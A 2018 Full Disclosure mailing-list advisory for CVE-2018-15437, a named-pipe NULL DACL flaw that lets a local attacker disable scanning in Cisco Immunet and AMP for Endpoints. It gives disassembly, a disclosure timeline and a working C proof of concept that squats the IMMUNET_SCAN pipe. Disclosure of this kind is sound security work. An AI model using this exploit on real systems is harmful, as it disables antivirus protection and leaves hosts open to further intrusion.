Message-ID: <CAFD2FDPSfD8CHOq4GKdLfz7=NVWQkuXF0wdR15iRKYdgeEPXfw@mail.gmail.com>
Date: Thu, 8 Nov 2018 22:06:26 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CVE-2018-15437 / Cisco Immunet and Cisco AMP for Endpoints /
 System Scan Denial of Service

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/CISCO-IMMUNET-AND-CISCO-AMP-FOR-ENDPOINTS-SYSTEM-SCAN-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec


***Greetz: indoushka | Eduardo B.***


[Vendor]
www.cisco.com


[Multiple Products]
Cisco Immunet < v6.2.0 and Cisco AMP For Endpoints v6.2.0


Cisco Immunet is a free, cloud-based, community-driven antivirus
application, using the ClamAV and its own engine.
The software is complementary with existing antivirus software.

Cisco AMP (Advanced Malware Protection)
Advanced Malware Protection (AMP) goes beyond point-in-time capabilities
and is built to protect organizations before, during, and after an attack.


[Vulnerability Type]
System Scan Denial of Service


[CVE Reference]
CVE-2018-15437

Cisco Advisory ID: cisco-sa-20181107-imm-dos
Cisco Bug ID: CSCvk70945
Cisco Bug ID: CSCvn05551


CVSS Score:
Base 5.5 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H/E:X/RL:X/RC:X


[Security Issue]
A vulnerability in the system scanning component of Cisco Immunet and Cisco
Advanced Malware Protection (AMP) for Endpoints running on
Microsoft Windows could allow a local attacker to disable the scanning
functionality of the product.

This could allow executable files to be launched on the system without
being analyzed for threats.
The vulnerability is due to improper process resource handling.

An attacker could exploit this vulnerability by gaining local access to a
system running Microsoft Windows and protected by Cisco Immunet or
Cisco AMP for Endpoints and executing a malicious file.

A successful exploit could allow the attacker to prevent the scanning
services from functioning properly and ultimately prevent the system from
being protected from further intrusion.

There are no workarounds that address this vulnerability.

Issue is due to a NULL DACL (RW Everyone) resulting in a system scan Denial
Of Service vulnerability for both of these endpoint protection programs.

The affected end user will get pop up warning box when attempting to
perform a file or system scan,

"You Can Not Scan at This Time

"The Immunet service is not running.

Please restart the service and retry."

Below I provide details to exploit Cisco Immunet, however "Cisco AMP For
Endpoints" is also affected so the exploit can easily be ported.

[References]
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181107-imm-dos


[Vulnerability Details]
Pipe is Remote Accessible PIPE_REJECT_REMOTE_CLIENTS not present.

FILE_FLAG_FIRST_PIPE_INSTANCE not present.

Max Pipe Instances = FF (255)

loc_140028140:

lea     rax, [rbp+57h+pSecurityDescriptor]
mov     [rbp+57h+SecurityAttributes.nLength], 18h
mov     edx, 1          ; dwRevision
mov     [rbp+57h+SecurityAttributes.lpSecurityDescriptor], rax
lea     rcx, [rbp+57h+pSecurityDescriptor] ; pSecurityDescriptor
mov     [rbp+57h+SecurityAttributes.bInheritHandle], 1
call    cs:InitializeSecurityDescriptor
xor     r9d, r9d        ; bDaclDefaulted
lea     rcx, [rbp+57h+pSecurityDescriptor] ; pSecurityDescriptor
xor     r8d, r8d        ; pDacl
lea     edx, [r9+1]     ; bDaclPresent
call    cs:SetSecurityDescriptorDacl
mov     rcx, [rdi+18h]  ; lpName
lea     rax, [rbp+57h+SecurityAttributes]
mov     [rsp+100h+lpSecurityAttributes], rax ; lpSecurityAttributes
mov     edx, 40000003h  ; dwOpenMode
mov     [rsp+100h+nDefaultTimeOut], esi ; nDefaultTimeOut
mov     r9d, 0FFh       ; nMaxInstances
mov     [rsp+100h+nInBufferSize], 2000h ; nInBufferSize
mov     r8d, 6          ; dwPipeMode
mov     [rsp+100h+nOutBufferSize], 2000h ; nOutBufferSize
call    cs:CreateNamedPipeW
mov     [rdi+8], rax
call    cs:GetLastError
test    eax, eax
jz      short loc_140028203



[Exploit/POC]

"Cisco-Immunet-Exploit.c"

#include <windows.h>
#define pipename "\\\\.\\pipe\\IMMUNET_SCAN"

/* Discovered by hyp3rlinx
   CVE-2018-15437  */

int main(void) {

    while (TRUE){

        HANDLE pipe = CreateNamedPipe(pipename, PIPE_ACCESS_INBOUND |
PIPE_ACCESS_OUTBOUND , PIPE_WAIT, 1, 1024, 1024, 120 * 1000, NULL);

        if (pipe == INVALID_HANDLE_VALUE){

           printf("Error: %d", GetLastError());

        }else{

        printf("%s","pipe created\n");

        printf("%x",pipe);

        }

        ConnectNamedPipe(pipe, NULL);

         if(ImpersonateNamedPipeClient(pipe)){

          printf("ok!");

        }else{

        printf("%s%d","WTF",GetLastError());

        }

        CloseHandle(pipe);

    }

  return 0;

}


[Network Access]
Local / Remote



[Severity]
High



Disclosure Timeline
=============================
Vendor Notification: August 7, 2018
Vendor acknowledgement: August 7, 2018
Vendor released fixes: November 7th, 2018
November 8, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists